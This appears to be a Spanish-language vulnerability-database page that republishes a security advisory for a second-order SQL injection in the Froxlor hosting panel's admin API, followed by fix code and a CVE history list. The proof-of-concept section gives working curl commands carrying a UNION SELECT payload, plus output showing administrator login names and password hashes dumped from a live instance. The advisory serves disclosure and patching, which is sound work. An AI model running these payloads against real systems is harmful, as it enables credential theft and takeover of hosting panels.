Alta

Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration

  • Publicada: 18.08.2026
  • Actualizado: 11.10.2026 10:22

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.


Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

php
$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip
    : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

php
if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
    // json_decode restores the array; implode joins elements with no casting or escaping
    $ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
    "SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.


PoC

<img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />

Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

bash
curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{
    "command": "Admins.add",
    "params": {
      "name": "x",
      "new_loginname": "eviladmin",
      "email": "x@x.local",
      "admin_password": "Passw0rd!123",
      "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
    }
  }'

The ip column of panel_admins for eviladmin now contains:

["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/admin_index.php?page=ipsandports

Or directly via API:

bash
curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

js
{
  "data": {
    "list": [
      {
        "ip": "admin",
        "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
      },
      {
        "ip": "eviladmin",
        "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
      }
    ]
  }
}

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has change_serversettings=1):

cmd
curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

cmd
curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

Confirmed output from live instance (localhost:8290) — step 2 alone:

cmd
curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"
js
{
  "data": {
    "list": [
      { "ip": "admin",     "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
      { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
    ]
  }
}

Impact

Type: Second-Order SQL Injection (UNION-based)

Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.

Consequences:

  • Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request.
  • Lateral movement — cracked hashes allow login to other admin accounts or customer accounts.
  • Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
  • Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

Fix

Option A (recommended) — Integer-cast all elements before implode:

php
// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";

Option B — Validate at storage time in Admins.add / Admins.update:

php
// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
    $ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
    ? json_encode(array_map('intval', $ipaddress))
    : -1),

Apply the same fix to the identical pattern in Domains.php:1016.


Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer froxlor/froxlor < 2.3.8 2.3.8

Referencias

Puntuación CVSS 7.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-89
Plataforma
Composer
Paquete
froxlor/froxlor
Publicada
18.08.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-w27m-rmmf-g5w4 - CC BY 4.0

Historial de vulnerabilidades: froxlor/froxlor

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (60) en el archivo
Entradas en total
60
Primera → última
04.2022 08.2026
Sin corrección
3
Explotada en ataques
0

Distribución por gravedad

  • Crítica 12
  • Alta 21
  • Media 26
  • Baja 1

Divulgaciones por año

  1. 2022: 15
  2. 2023: 20
  3. 2024: 3
  4. 2025: 2
  5. 2026: 20
Gravedad:
  1. Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration esta entrada
    Alta · 7.2 CVE-2026-54348 < 2.3.8 2.3.8
  2. Alta · 8.1 CVE-2026-52793 < 2.3.7 2.3.7
  3. Alta · 7.6 CVE-2026-41234 < 2.3.7 2.3.7
  4. Alta CVE-2026-41237 < 2.3.7 2.3.7
  5. Crítica · 9.6 CVE-2024-34070 < 2.1.9 2.1.9
  6. Alta · 7.5 CVE-2023-50256 < 2.1.2 2.1.2
  7. Crítica · 9.9 CVE-2023-6069 < 2.1.0-beta1 2.1.0-beta1
  8. Crítica · 9.1 CVE-2023-3668 < 2.0.21 2.0.21
  9. Alta · 7.2 CVE-2023-3172 < 2.0.20 2.0.20
  10. Crítica · 9.8 CVE-2023-1307 < 2.0.13 2.0.13
  11. Alta · 8.8 CVE-2023-1033 < 2.0.11 2.0.11
  12. Alta · 8.8 CVE-2023-0877 < 2.0.11 2.0.11
  13. Alta · 7.5 CVE-2023-0564 < 2.0.10 2.0.10
  14. Alta · 8.8 CVE-2023-0315 < 2.0.8 2.0.8
  15. Crítica · 9.8 CVE-2021-42325 < 0.10.30 0.10.30
  16. Crítica · 9.8 CVE-2016-5100 < 0.9.35 0.9.35
  17. Alta · 7.5 CVE-2018-12642 < 0.9.40 0.9.40
  18. Alta · 7.2 CVE-2018-1000527 < 0.9.40 0.9.40

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.